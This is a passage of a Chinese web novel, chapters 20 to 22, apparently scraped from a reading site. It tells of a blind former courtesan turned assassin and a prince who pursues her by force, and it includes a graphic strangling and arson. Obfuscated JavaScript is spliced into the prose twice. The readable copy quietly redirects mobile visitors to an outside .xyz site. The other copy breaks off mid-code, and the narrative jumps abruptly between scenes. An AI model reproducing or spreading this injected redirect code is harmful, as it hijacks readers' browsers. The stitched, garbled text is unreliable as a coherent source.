云潋轻叹口气,言语中说不清是遗憾还是庆幸,“可惜了,忘了祝他琴瑟和鸣,子孙满堂。” 静梅轻声安抚:“小姐,他是皇子,他的人生注定比其他人圆满。下一次,您还是为自己许愿吧。许您能得遇良人,许您能幸福安康。许愿咱们的生意红火,置田置地,做宁州城中最有名的富商!” 云潋宠溺地笑着,轻声应下:“好,下一次,咱们为自己许愿。” 静梅搀扶着云潋从岸边起身,刚回过身,静梅就惊呼道:“殿下......” 云潋面上闪过几丝慌乱,随后故作镇静道:“静梅,咱们回去吧。” 静梅慌张应声:“是,小姐。” 这一次,身形交错间,燕绥之果断伸出手,钳制住云潋的手腕,牢牢牵住,不肯松开。 20. 第 20 章 云潋几次尝试,却始终挣脱不开燕绥之的手,声音带上几分急切:“放开!” 可燕绥之却固执万分,他轻声问:“你刚刚在为谁祈愿?” 云潋眼眸低垂,不肯出声。 静梅眼看他们二人僵持不下,主动开口:“殿下,您来日回到京都,还能逍遥自在。可我家小姐还得在宁州过活,您这般纠缠,不管不顾,置我家小姐的名声于何地?” “楚执!” 守在一旁的楚执瞬间心领神会,将张牙舞爪的静梅带走。 云潋听着静梅的声音离她越来越远,开始变得慌乱起来,无助地唤着:“静梅?” 听不到静梅的回答,云潋满脸急切的质问燕绥之:“你们把她带到哪儿去了?二殿下,您欺人太甚!” 燕绥之扯着云潋的手稍稍用力,两人之间的距离瞬间贴近,他的呼吸打在云潋的脸颊,吓得云潋不敢再继续动作。 “这些天,你想我吗?” 云潋别过头,倔强的不肯说话。 燕绥之掐着云潋的脸颊,逼迫她转过头,即使知道她目不能视,可燕绥之却仍想看着她的脸,仔细观察她的每个表情,不想错过任何细微的变化。 “既然已经打算与我一别两宽,为什么还蹲在这里为我祈福?” 云潋紧抿着唇,眼球蒙上一层薄雾。 燕绥之步步紧逼,“既然放不下我,为何不肯留在我身边?” 云潋似是终于重拾气力,冷着脸,逞强道:“殿下,您误会了,我不是在为您祈福。只不过是今日剩下了几盏河灯,我们不想浪费而已。” 燕绥之如何肯信,“你的意思是,我在自作多情?” 云潋立刻反驳:“民女不敢。” “你怎么不敢?旁人见了孤,惧怕的连话都说不利索,可你,谎话都能信手拈来。”燕绥之指着河面上还未飘远的河灯,“刚才我站在这里,听得一清二楚,一个字都不曾落下。” 云潋实在不懂,为何燕绥之会突然如此失控,他这般咄咄逼人的模样,哪里还有半分理智可言,简直像个控制欲极强的疯子! 燕绥之见云潋紧绷慌乱的模样,缓缓揽上她的腰肢,将她盈盈一握的纤细腰肢死死钳制,两人之间再无一丝缝隙。 “招惹我,又不要我。明明之前还在对我掏心掏肺,下一瞬又可以彻底无视我,转头和堂兄谈笑风生。明明刚刚对我视若无睹,现在又躲在这里为我祈福。哪一个,才是真正的你?” 云潋的眼泪滑落,声音冷漠:“殿下,羞辱我,您很高兴吗?” 燕绥之下意识否定:“我何曾羞辱过你!” 云潋却提高声音,“大庭广众之下,对一个未出阁的女子搂搂抱抱,让她受众人鄙夷,轻贱她、伤害她,如何不是羞辱!您这般待我,比那些口口声声骂我是瞎子、娼/妓的恶人还要让我难堪!让我恶心!” 燕绥之被吼的一愣,缓缓松开搂着云潋后腰的手臂,拉开两人之间的距离。 他从未见过云潋这般怒火滔天的模样,自相识以来,她对他,从来都是温声细语,小意温柔,何时这般疾言厉色的对待过他。 燕绥之瞬间慌神,甚至顾不上云潋看不到他的动作,拼命摆手,急切的想要辩白:“我......不是这个意思!更不曾轻视过你。” 云潋却凄然一笑,“殿下,若当初你我初识之时,云潋是官宦人家的千金小姐,您若喜欢我,该如何做?” 燕绥之哑然。 “若云潋并非出身贱籍,而是清白人家的女儿。您若喜欢我,想迎娶,或是纳我入府,总归要请媒人登门,三书六礼,规矩周全。可您是如何待我的?口口声声说着喜欢,骨子里却还是端着天潢贵胄的骄矜、高傲,将我当成那个被送到您床榻之上的盲妓云潋,当成一个可以随意对待的玩意儿。即使您已经让我入了良籍,即便我已经学着自力更生,可您还是待我如初,从不曾学着改变。” 燕绥之想张口辩解,却被云潋打断。 “是,在您眼中,芸芸众生,不过蝼蚁,所有人都得匍匐在您脚下,让您予取予求。我和他们,没什么分别,当然不必认真对待。” 燕绥之听到云潋的句句诘问,震撼不已,尤其是云潋此刻甚至生出负气般的控诉。 他不再试图辩解,反而沉默着,认真的听着云潋的每一句话。 云潋见时机成熟,果断将话题拐入正题。 “云潋出身别院,和那些依旧在受苦受难的姐妹们一样,从未被人尊重,平等的对待过。甚至幸运如我,能侥幸逃离魔窟,可还是洗不掉身上的烙印,依旧会被人奚落嘲笑、羞辱谩骂。可如果能有得选,谁愿意在红尘浮沉,谁不想像金尊玉贵的公主般恣意生长?我们......我们并非天生自甘堕落,是这世道......是这世道不公,是他们将我们逼迫至此!” 云潋闭上眼,双眼的泪水如泉涌般绵延不绝,她脱力般蹲在地上,语气是前所未有的疲惫,“殿下,您的喜欢,民女实在承受不起。” 燕绥之红着眼眶,心口密密麻麻的疼,他单膝跪地,抬手抚上云潋的脸颊。 “你知道吗?若换做旁人这般跟我说话,他早就死了千万次。” 云潋别过头去,不肯让燕绥之触碰,满不在乎道:“那你干脆杀了我吧,反正我早就活腻了。” 燕绥之无奈,“净说些气话。” 因为燕绥之肯放下身段哄她,云潋哭得愈发伤心,像个无助的孩童,不时发出几声委屈的呜咽。 不过片刻后,她的情绪逐渐缓和下来,不再慷慨陈词,只一味将头埋在臂弯,不肯理会燕绥之。 燕绥之见云潋的气消了些,温声哄着:“让她们改入良籍之事,我早就吩咐下去。只不过宁州富庶,落入烟花之地的女子数目庞大,登记造册以防遗漏,妥善安置以防生乱,这些都需要时间。” 云潋心中欢喜,却故意讥讽燕绥之,“谁知你是不是在哄我,不然为何那些地方依旧歌舞升平,好似全然不曾听到风声。” 燕绥之赶忙解释:“那些青楼楚馆背后的东家都实力不凡,难免有官商勾结之事发生。为防遗漏,我的亲卫日夜不停的提审狱中的官员,现下已经有了进展。我跟你保证,不出五日,我必有所动作。” 得到承诺,达成目的,云潋立刻从臂弯中抬起头,焦急追问:“当真?” “我从不骗你。”燕绥之执起云潋的手,“云儿,如你当初所言,我在宁州待不了太久,所以我必须将他们连根拔起,以免日后他们死灰复燃,那些女子再遭报复。” 云潋终于不再哭泣,似是想起刚才咄咄逼人的模样,心中羞愧,她羞红着脸,不再言语。 燕绥之试探着问:“云儿,你可还生气?” 云潋没有回答,只挣扎着想抽回被燕绥之握着的手,可燕绥之却紧紧攥着她的手不肯放。 “今日是我莽撞,一时气昏了头,做出这般逾礼之事。你说得没错,你已经改头换面,我也应该重新审视你我之间的关系。” 云潋却喃喃开口:“什么关系?我不懂。” 今日这番激烈争吵,燕绥之反倒越发放不下云潋,他总觉得她比他想象中还要有趣,还要让人惊喜。 她并非外表看上去那般温柔,反倒颇有傲骨,柔中带刚。 直觉告诉他,只有将她留在他的身边,他无趣的生活才能多姿多彩,来日他才不会后悔。 “云儿,留在我身边吧,别再想着离开。” 云潋猛然睁大双眼,跌坐在地,手臂撑在地上,久久不知作何回应。 燕绥之并未催促云潋,好整以暇地看着她陷入惊慌。 从小到大,只要是他做出的决定,从来不需要任何人允许。 既然他说要追求云潋,便会付诸行动,无论她是否愿意。 他素来言出必行。 对于云潋,他势在必得。 不远处的静梅见云潋跌倒在地,一把推开挡着她的楚执,小跑到云潋身边,小心将她搀扶起身,焦急询问:“小姐,您没摔疼吧?” 云潋怔愣着,直到静梅再次询问,才轻轻摇头。 “我没事儿。” 静梅警惕的看着燕绥之,搀着云潋朝台阶方向走去,“小姐,您留心脚下。” 燕绥之静静看着云潋离开,抬手示意身边的守卫不必阻拦。 此刻,燕绥之古井无波的外表下压抑着无数惊涛骇浪,落在云潋背脊上的 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云潋神情淡漠,装丸药的动作却越来越快,对着静梅微微颔首,示意她一会儿拖住刘芳,她要出去一趟。 静梅轻轻点头,推门而出,唤在院子里收拾东西的刘芳,“刘姐,家里的面粉快没了,您能陪我去趟米行吗?” “好嘞!” 刘芳性子飒爽,带着两个孩子陪静梅出了门。 过了半柱香的功夫,陈妈妈先后两次飞鸽传信,邀云潋回别院商议对策。 云潋将几个瓷瓶放进包袱,又在袖中塞了一根麻绳,巧妙躲避门外暗卫的监视,赶到别院。 别院中的姑娘们聚集在院中空地,瑟缩着蹲在地上,人群外围围着一圈儿身着短衫的打手,一个个凶神恶煞,狠厉非常。 地上散落着无数包袱,有几个包袱中露出金银珠宝、各式衣衫,一看便知有人想要趁机逃跑,被陈妈妈抓个正着。 “跑,我看谁还敢跑!”陈妈妈叉着腰,来回踱步,厉声训话,“别以为你们能像那些烟花女子一般借着新政重获自由,就算是将你们全部杀了,我也不会放你们任何人离开!” 云潋平静扫过恐惧不安的女子们,又在堂前看见两具沾满鲜血的尸身,那两个女子死状狰狞,至死都没能闭上眼睛。 陈妈妈见云潋出现,仿佛终于找到主心骨一般,飞快凑到她面前,焦急的恳请她拿主意。 “姜大人,自从这位二殿下来到宁州,已经斩断我们不少暗桩。现下又闹着禁/娼,四处抓人,眼瞅着就要闹到别院。您最近跟在他身边,可有办法让他放过我们,保下这个据点?” 云潋绕过堂前的尸体,坐在太师椅上,将背后的包袱放在案几上,慢悠悠问道:“你可曾试着联系过主子?难道主子不曾给你们指示?” 陈妈妈赶紧追上前去,“联系不上呀,不知为何,飞出去的信鸽丢了一只又一只,现下宁州城被燕绥之的亲兵卫队围得像铁桶一般,密不透风。姜大人,奴婢深知您可能不愿意管这烂摊子。可您毕竟常年跟在主子身边,最是了解主子心思。不知您可有什么好办法,帮我等度过这难关?” 云潋没有应承,陈妈妈亲自端起一杯热茶,恭敬地递给云潋。 云潋不接,她再次哀求道:“姜大人,这据点属下经营了二十二年,好不容易才渗透到宁州城的方方面面,实属不易。虽然最近元气大伤,却根基犹在,来日定能继续为主子创造价值。” 见云潋不肯答应,陈妈妈干脆双膝下跪,想用苦肉计打动她。 “属下深知姜大人长袖善舞,那位二殿下现在对您言听计从。求您看在大家同属一派的面子上,给我们一条生路吧!” 原本还站在外围看守女子的家丁护院们见上司跪地求饶,紧随其后,虔诚地跪地朝云潋齐声哀求,“求姜大人施以援手,我等感激不尽!” 云潋这才缓缓起身,绕着陈妈妈走了半圈,轻轻启唇:“我等皆为主子效力,确实当同心同德,守望相助。” 听到云潋松口,陈妈妈激动地抬起头,可不等她开口道谢,下一瞬,云潋手中的麻绳便勒紧她脆弱的颈。 这一切发生的太快,所有人都吓得目瞪口呆,一时不知该作何反应。 21. 第 21 章 麻绳勒紧脖子的动作悄无声息,堂下跪地恳求的女子与家丁护院们都不自觉倒吸了一口凉气。 陈妈妈的脸憋得紫红,双手拼命试图去松脖子上的麻绳,想要扯开束缚,可云潋出手稳准狠,根本没有给她挣脱的空间。 她想要呼救,却只能发出毫无意义的气声:“额......” 窒息的时间越来越长,陈妈妈的意识也越来越模糊,她的双眼充血,侧颈上青筋毕现,双腿无意识的在地上划着,留下一串凌乱的痕迹。 求生的本能让她朝面前的护院家丁们伸出手,发出无声的求救信号。 可云潋只抬头冷冷看了堂下之人一眼,众人便吓得垂下头,无一人敢上前营救。 这位姜大人乃是最受主子倚重的暗卫首领,年纪轻轻便身居高位,常伴主子左右。而他们不过是一群无名小卒,如何敢插手上峰之间的比拼较量,自然是袖手旁观,自保为上。 云潋并未直接要了陈妈妈性命,让她体验过濒死状态后,便将手中的麻绳松开些许。 得到喘息机会的陈妈妈大口喘着粗气,劫后余生的喜悦充斥心头,许久后,她颤抖着声音问:“姜大人这是何意?” 云潋并不理会陈妈妈的责问,反倒笑着问那些家丁护院,“这些姐妹留下是为了入良籍,得新生。你们留下,是为了让我杀人灭口吗?” 护院们听到这话,背后一凉,立刻手脚并用的从地上爬起来,争先恐后的朝院门方向跑去。 就在众人即将跨越门槛时,云潋低声说道:“所有人,立刻离开宁州。若有人敢将今日之事透露出去半句,死。” 家丁护院们无一人敢回头和云潋对视,为首的汉子哑着声音回道:“谢大人还我等自由,今日之事,我们必定守口如瓶。日后隐姓埋名,再不提及前尘往事。” 陈妈妈见家丁护院全都迫不及待离开,自己经营半辈子的别院也即将毁于一旦,她分外不甘,鼓起勇气追问:“姜大人,你我并无旧怨,又皆效忠于主子,您为何如此待我?你就不怕来日主子问责,降罪于你吗?” 云潋将手中的麻绳收紧一些,陈妈妈立刻感觉呼吸受阻。 “元泰三年,你开始经营别院,那时你是花魁娘子,风头正盛。身边跟着一个婢女,名唤碧蓝,美貌才情不输于你。彼时富商王老爷是你最看重的恩客,对你出手阔绰,喜爱非常。他醉酒后强占了碧蓝,碧蓝痛苦不堪,找你求助,你却说她蓄意勾引,害怕她抢了你风头,夺了你的恩客,你亲手用一支金簪戳瞎了她的双眼。” 陈妈妈活了四十五载,许多陈年往事,她早已记不清了,可关于碧蓝的种种过往她却记得分外清晰。 她们本是同乡,同时被卖进青楼,那老鸨见她二人貌美聪颖,一心想将她们培养成宁州头牌,把她们当成未来的摇钱树,好吃好喝的供着,连沐浴都只用昂贵的牛乳,只为将她二人养得肤若凝脂,来日换得更大的利益。 可偏偏碧蓝气傲,又有心仪之人,一心为他守节。所以纵使被老鸨责打,被众人欺负,她也固执不肯接客,甘心过苦哈哈的日子,在楼里做最下等的女婢。 而她与碧蓝选了截然相反的道路,为了权势和财富,她主动在红尘堆里打滚,凭借出众才貌与性情,很快便名动宁州。 后来她侥幸被老主子选中,在他的扶植下另立门户,从花魁娘子,一跃成为掌握手下人生杀大权的陈妈妈,从受人欺凌的孤女,摇身一变成了上位者,这种转变让她无比畅快。 离开青楼前,碧蓝哭着求她带她一起走,她同意了。她本想顾及旧情,看顾碧蓝,等时机成熟,便放她回乡与情郎团圆,也不枉与她姐妹一场。 只可惜碧蓝越发不安分,总是自命不凡,屡屡越俎代庖替她管理别院中的姑娘,即使她几番敲打,依旧不肯收敛锋芒,甚至几次越过她私自惩罚属下。 因碧蓝擅长笼络人心,又总在别院出尽风头,很快被老主子看上。老主子有心扶植碧蓝掌管别院,顶替她的位置。此事让她知晓,她这才动了杀心。 她可以准许碧蓝坚守自我、特立独行,却绝不允许碧蓝与她争权夺利。毕竟为了成为陈妈妈,那些年她忍辱负重、受尽委屈,苦熬了五年才得到另立门户的机会。 她怎么可能容忍碧蓝将她取而代之,踩着她的肩膀向上爬呢。 所以那一晚,她故意引醉酒的王老爷进了碧蓝的房间,又在事后雷霆震怒,狠心戳瞎了她的双眼。 一个瞎子,如何能与她争夺别院的管理权呢? 那时碧蓝捂住流血的双眼哀嚎,撕心裂肺地质问:“为什么?” 她扔掉手中沾血的金簪,居高临下地看着狼狈的碧蓝。 “因为你贪心。既然想和情郎长相厮守,为何还要在别院上蹿下跳的引人注目?碧蓝,你总说自己对情郎坚贞,让你接客时屡屡以此为借口,可为何前日我说放你离开时,你又不肯随他而去?你扪心自问,你还是当初那个天真无暇、情深意重的碧蓝吗?” 碧蓝痛得浑身打颤,哑口无言。 的确,她被富贵迷了眼,再也看不上那个青梅竹马的放牛郎。可人皆向好,她只是做出对自己更有利的选择,何错之有? 陈妈妈犹记得当老主子看到被戳瞎的碧蓝时,转头看向她的眼神,那眼神犀利狠辣,仿佛能洞穿人心。 她本以为会受到严厉的惩罚,可老主子却笑着夸她:“有这般手段心计,才能替我掌管好别院。陈婷,你很好。” 从那时起她就明白,成大事者,脚下必定会有尸山血海。想要立于不败之地,也必须辣手无情。 自此后,她的手段越发狠辣,对手下人也越发严苛。二十二年间,她早已数不清手上沾过多少血。 她本以为她会继续逍遥下去,直到有一日功成身退,谁知竟会半路遇到姜且这个瘟神。 云潋见陈妈妈眼神逐渐涣散,又将手中的麻绳松开些许,让她缓一缓。 “碧蓝瞎掉后,你仍不肯放过她,偏要狠心作贱,强迫她接客。谁知宁州这群豪绅更是变态,反倒对瞎掉的她喜爱有加。你也自此发现商机,开始大量豢养盲妓,无数身体康健的女子因此失去双眼。宁州兴盛了二十年的盲妓之风,皆因你而起。作为始作俑者,你合该下地狱!” 陈妈妈也意识到姜且今日不会给她活路,干脆厉声诘问:“我该死不假,你手上就没有沾血吗?人各有命,胜者为王。你遵循此道,又凭什么站在道德的高地上指责我?” 云潋不曾辩驳,只是转头将案几上的包袱扔到跪在堂前的女子们面前。 “这是鸢尾之毒的解药,服下后,你们便不必再受操纵。” 可是那些女子无一人敢伸手去拿解药,因为她们实在害怕,怕万一这是上峰对她们的考验;也怕吃了这药却无功效,还不如在此苟且偷生。 云潋并不理会她们,专心收拢了手中的麻绳,陈妈妈再次感受濒死的痛苦。 这一次,云潋不再手下留情,就在陈妈妈即将彻底断气时,云潋在她耳边轻声留下一句:“你亲手勒死我的阿元时,可曾想过会有这一天?我的阿元当时是否也如这般剧烈挣扎,苦苦哀求?” 陈妈妈惊恐地睁大双眼,终于明白今日为何遭此劫难,只可惜为时已晚,她终究是彻底断了生机。 云潋犹嫌不足,再次收紧麻绳,她双手被麻绳勒的泛红,磨破了皮,渗出丝丝血迹,可她却仍不肯松手。 想起阿元,云潋双眼含泪,低声喃喃:“阿元,你且等一等,我会将他们所有人送下去给你赎罪。” 陈妈妈的手跌落在身侧,云潋一把将倚在她怀中的陈婷推开,利落起身,掏出火折子,开始点堂前的帷帐、纱幔。 火苗星星点点泛起,很快便连成一片,大火无情,被风一吹,肆虐疯狂。 看着逐渐被火苗吞噬的陈妈妈,云潋神情淡然。 而那群女子早就吓得躲到大门边,见云潋始终站在堂前,火苗不时被风吹向云潋身边,几次险些烧到她的衣摆,她们焦急呼唤:“姜大人,您快出来呀!危险!” 许是因为这声呼唤,久违的唤起云潋心中残存的温情,她转身走到门边,离开前留下一句:“解药是真的,让你们入良籍、得自由,也是真的。” 看着渐行渐远的云潋,众人互相对视几眼,有胆大者从瓷瓶中倒出一颗解药,在众人的注视下,低声开口:“生死的概率各半,既然已经没有更好的退路,何妨一试?” 言毕,她一口吞下解药。 众人神情严肃,仔细看着她的反应,见她并未吐血或是昏厥,对解药是真的言论便信了五六分。 于是众人争先恐后的服下解药,期盼着迎接新生。 有年长者指挥众人回各自院中拿盘缠衣衫;有宁州本地的姑娘思索着该如何从其他同乡口中探得入良籍是真是假;思虑周全者,甚至将她们来日去哪个州府度过余生都已经筹划好。 这群饱受折磨的女子背着包袱,望着已经被火苗吞噬的别院,头也不回的朝着府衙走去。 这一次,再也没有人能够阻挡她们奔向自由的脚步。 刚一出别院门,守在一旁的女子疾步上前,见云潋神情不佳,关切道:“小小姐,您还好吗?” 这女子约莫二十出头,身着玄衣,手持长剑,一看便知武艺高强。 云潋失魂落魄,她心痛不已,赶紧说道:“那群护院和家丁我已经命人严密监视,若胆敢有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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云潋迅速调整好状态,撑着粗糙的盲杖,在幺娘的搀扶下,一步步迈下台阶,走到院中央的木桌旁,还没落座,就听见王大勇和刘芳热情的邀请燕绥之与裴舟望留在家中用晚膳。 “二殿下、裴大人,您二位还特意绕远送我回来,小人实在无以为报,您们要是不嫌弃,不如留在家中吃顿晚饭,尝尝我娘子的手艺。” 刘芳这么大方的性子,也难得紧张起来,攥着身前的靛蓝色围裳附和,“我们做了许多家常小菜,饭也焖了许多,够吃的。” 云潋这三日一直闭门不出,燕绥之正愁寻不到机会与她亲近,因此今日巡查堤坝时,猛然想起现下刘芳一家租住在云潋的小院中,他这才主动提议送王大勇一程。 如今云潋听到他们二人来院中做客,居然没有任何反应,燕绥之不免失落。 裴舟望刚想开口拒绝,燕绥之却急切地打断他的话头,“那就叨扰了。” “好嘞,您二位稍等,饭菜马上就上桌!” 刘芳听到皇子和状元郎肯屈尊在她家中用饭,立刻折回厨房,准备和静梅一起大展身手,给晚膳多添几个菜。 燕绥之声音一出,云潋的双手立刻握紧。 自从她与燕绥之在河岸边剧烈争吵后,已经有三日未见。 她刚刚借着燕绥之的手拔除别院这个据点,还宁州城中所有流落在烟花之地的女子们自由,如今尚未拟定好下一步计划。 因而竟一时不知该如何与燕绥之相处,又该如何如往常那般潜移默化的操纵他的思想,让他按照她的心意行事。 习惯了按部就班行事,由她操纵一切,如今换燕绥之主动出击,蓄意接近,反倒让云潋莫名不安。因此,她想着干脆借未消气的由头暂时避开燕绥之。 王大勇引着燕绥之来到木桌前落座,燕绥之放着好几个空位不坐,故意与云潋坐在了同一条长凳上。 两人之间距离极近,燕绥之温热的手臂源源不断传来热度,云潋颇为不自在,几次朝边上挪,她挪多少,燕绥之就跟着挪多少,似乎铁了心要与她亲密无间。 最后云潋被挤到边缘,险些摔下长凳,还是燕绥之眼疾手快,一把搂住她的腰肢,将她带入怀中。 温香软玉在怀,燕绥之故意打趣:“这凳子就这么长,你再挪,可就要落地了。” 燕绥之这般故意逗弄,让云潋浑身竖起尖刺,迫切想起身离开。 可二牛调皮,刚才偷偷将云潋的盲杖拿走,在头上绑了一个破布当假胡子,撑着盲杖,佝偻着腰扮演不良于行的老爷爷,玩儿得不亦乐乎。 云潋摸索半晌也没够到盲杖,而她又被燕绥之牢牢桎梏,气恼道:“二殿下,请自重。” 22. 第 22 章 燕绥之看向云潋抵在他胸前的手,语气多了几分宠溺:“生气了?” 云潋扮成娇弱的盲女,自然无法使出全力,她不想继续和燕绥之纠缠下去,干脆伸手去扶木桌边缘,径直起身,双手朝身前虚空处试探,打算摸索着前路,独自离开。 燕绥之赶紧起身去追,绕到云潋身前,躬身一把将她扛上肩头,朝门外的马车处走去。 “放开我!燕绥之,你混蛋!” 云潋拼命挣扎,使劲儿捶打燕绥之的后背,激烈动作险些让她从燕绥之的肩头滑落。 燕绥之将云潋的双腿抱紧,又轻轻颠了一下肩头上瘦弱的身躯,借此调整好姿势,随后他半是教训半是警告的轻轻拍了下云潋的大腿。 “别闹,一会儿再摔下去。” “流氓!” 这一暧昧举动让云潋霎时恼怒万分,抬手就想劈上燕绥之脑后,叫他长些教训。 偏偏沈烁不长眼,听到这边的动静,匆忙从马车边赶来,他的出现打断了云潋的动作,她紧张的收起手刀,继续假装挣扎,拼命嚎叫:“燕绥之,你放我下来!” 见他们二人保持着这般暧昧的姿势,沈烁惊得睁大双眼,说话都有些结巴:“殿下......这......” 知道沈烁又要唠叨,燕绥之低声吩咐道:“都滚远点儿。” “是!”楚执拉着惊呆在原地的沈烁离开,又将赶马车的车夫和马车边的亲卫们统统调走,“后退,都背过去!” 马车边的亲卫们训练有素,飞快后撤,利落转身,不再窥视马车边的情况。 燕绥之将激烈挣扎的云潋放在马车边缘,让她暂时倚坐片刻。 见云潋不安分,试图逃跑,燕绥之忙用身躯将她抵住。 “坐好,摔下去很疼的。” 云潋还是有些气不过,抬手就要打燕绥之的脸,谁知却被机警的燕绥之抓住手腕。云潋见右手被桎梏,抬手又要伸左手去打。 燕绥之敏锐向后闪躲,低头看了眼差点落在他脸上的巴掌,玩味道:“我就知道你不似往日表现的那般温柔。” 燕绥之此话一出,云潋瞬间冷静下来,意识到自己今日情绪失控,愤怒下屡屡暴露本性,险些让之前的铺垫前功尽弃,心中甚是懊悔。 见云潋不说话,燕绥之俯身从马车内的木匣中掏出伤药与白布,自顾自的低头为云潋手心中的伤口上药。 看着云潋手心中渗血的伤口,燕绥之心疼不已,“你那盲杖太粗糙,将你的两只手都划破了,你竟全然不知?” 刚才勒死陈婷时云潋太过激动,自然无暇顾及这种小伤。 随后云潋又想到别院中的尸身未必烧得干净,若是被仵作查出陈婷是被勒死的,这两道新鲜伤痕也许会无形中暴露她的行踪,因此云潋下意识想要抽回被燕绥之钳制的手。 “放开,不用你假好心。” 燕绥之见云潋挣扎,故意往她手心多倒了些药粉,大量药粉同时落在伤口处,疼的云潋浑身一抖,她没好气地质问:“你故意的?” “嗯。” 燕绥之坦然承认,随后扯出白布为云潋包扎,包左手时,他的动作还稍显生疏,因为不放心,便多缠了几圈,将云潋一双纤纤玉手,包成了圆滚滚的粽子。 云潋余光瞥见左手上层层叠叠的白布,眉头微蹙。 好在燕绥之学习能力很强,包扎右手时已得心应手,最后还贴心的给云潋绑了个蝴蝶结。 云潋活动着两只手,举着鼓鼓囊囊的左手,抱怨道:“我的手指都要回不了弯了。” 燕绥之将瓷瓶收好,难得展露笑颜,语气却十分冷硬:“活该,让你总是这般不爱惜自己的身体。” 云潋今日气不顺,燕绥之又故意往枪口上撞,她干脆不再多言,也不再求燕绥之帮忙,直接将手伸到嘴边,就想用嘴把白布扯开。 燕绥之赶紧阻止,紧攥着云潋的两手手腕,“你就这么不待见我的手艺?” 云潋别过头去不肯说话,燕绥之却不气馁,主动挑起话题。 “刚刚我收到飞鸽传书,你原来暂居过的别院起火了。好在那群女子恰好跑去官府入良籍,侥幸躲过一劫。除了......那位陈妈妈。” 云潋以为燕绥之在试探她,不由得紧张起来。 “我知道,你在那里有过不好的回忆。如今大火将一切付之一炬,你在乎的那些姐妹也都各自离去,重获新生。从此以后,你便也将一切都忘了吧。我陪你重新开始,可好?” 云潋低垂着头,视线落在被包成圆粽的左手上,难得没有竖起尖刺,轻声应了句:“嗯。” 燕绥之了然,笑着摸了摸云潋的头顶,像安抚小猫一般哄着:“真乖。” 云潋猛的抬起头,刚想回嘴,就听得身边传来脚步声,下一瞬,裴舟望带着审视的目光,淡淡开口:“二位可腻歪够了?这晚膳你们是吃还是不吃呀?” 燕绥之最是护短,将云潋往身后藏了藏,语气严肃:“堂兄莫要打趣她。” 裴舟望无奈妥协,“好好好,我不说话。” 燕绥之掐着云潋的腰将她从马车上抱下来,又牵起她的手朝院内走去。 云潋几次想抽回手,燕绥之却坚定地牵着她,似是不经意般问道:“现下心情可好些了?” 意识到燕绥之敏锐的察觉到她心情不佳,刚才种种皆是哄她的手段,云潋难得被触动。 她早已习惯独自消化所有情绪,如今倒也有人在乎她的悲喜,真是难得。 裴舟望落在他二人身后,盯着云潋被包扎的双手,若有所思。 刚一落座,刘大勇便举杯敬酒。 “自从有二殿下和裴大人为我们做主,现在我们这批新招募来的河工每月有工钱,日日有肉吃,再也不觉得重役难挨了。大伙儿都一门心思想配合您二位将堤坝修好,建造出能真正造福后代的工程。您二位时常来亲自巡视,不嫌脏不嫌累,我们都看在眼里,大伙儿都夸您们是真正为百姓做事的青天老爷。我王大勇能和二位相识,三生有幸。感激的话就不多说了,都在酒里!” 王大勇将杯中酒一饮而尽,燕绥之和裴舟望也端起碗喝了一大口。 烈酒刚一入喉,裴舟望便皱起眉,脸上瞬间染上一层绯红。 刘芳见裴舟望酒气上脸,赶忙追问:“家中酿的米酒,您是不是喝不惯呀?” 裴舟望轻轻摆手,“无妨。” 云潋用尚且能握住筷子的右手夹起一块儿燕绥之偷偷放进她碗中的红烧肉,故意假装不知是燕绥之的手笔,对坐在她右手边的静梅吩咐道:“静梅,别光顾着给我夹菜。咱们屋里还有两坛新酿的果酒,端出来给裴大人尝尝。” “是,小姐。” 静梅利落起身,不多时便抱着一坛果酒出屋,刘芳帮着静梅给桌上的大人们都分了一碗,燕绥之端起碗,轻轻嗅了嗅,果香扑鼻,分外馋人。 裴舟望也端起来尝了一口,眼神一亮,望着碗中的淡绿色果酒,追问道:“青葡萄酒?” 云潋点头,“是,大人味觉敏锐,竟然一尝便知。” 裴舟望追问道:“不知云姑娘做了多少,可愿忍痛割爱,卖裴某两坛?” 静梅见燕绥之连着喝了两碗,有些心疼,嘀咕道:“我们统共才制成了两坛,本想留着在小姐生辰那日喝的,你们今日喝了一坛,竟然还想全都买走,好生霸道。” 云潋刚端到唇边的碗又向下挪了半分,低声呵斥道:“静梅,不得无礼。” 静梅不再言语,偏又气不过,拿起木勺给自己舀了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205822|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大碗,一饮而尽,胸中闷气才消散些许。 裴舟望赶忙道歉:“云姑娘慷慨大方,愿将为生辰制备的青葡萄果酒拿出来与我们分享,裴某甚是感激。明日我着人送几坛珍藏的好酒来,权当给两位姑娘赔罪,还望笑纳。” 云潋连连摆手,“不过一坛果酒而已,是静梅醉了,口无遮拦,裴大人无需放在心上。” 燕绥之却记住一个关键词“生辰”,既然云潋生辰在即,他还需早早备下礼物。 裴舟望盯着云潋的手,笑着问道:“听闻云姑娘暂居过的别院今日走水了,姑娘可有所耳闻?” 云潋静静吃着菜,不慌不忙道:“刚才殿下跟我提起过。” “这火着的蹊跷,姑娘可知那位陈妈妈与谁人有过仇怨?又有谁会恨她,恨到甚至不惜亲手勒死她,再将她烧成一具焦尸。” 云潋放下碗筷,轻声道:“别院人员众多,往来的宾客亦是不计其数,我常年偏居一隅,不见外客,实在不知细情。” 静梅赶紧出面维护云潋,“裴大人,您这是在审我家小姐吗?您就算是迫切想要破案,也问不到我们头上吧。我家小姐早就和别院没有关系了,今日发生的事情,我们自是一无所知。我家小姐胆子小,您就别拿什么火啊死啊的话吓唬她了。若是晚上引得她梦魇,可如何是好?” 云潋轻声呵斥:“静梅,裴大人不过是例行查问,你莫要这般激动。” 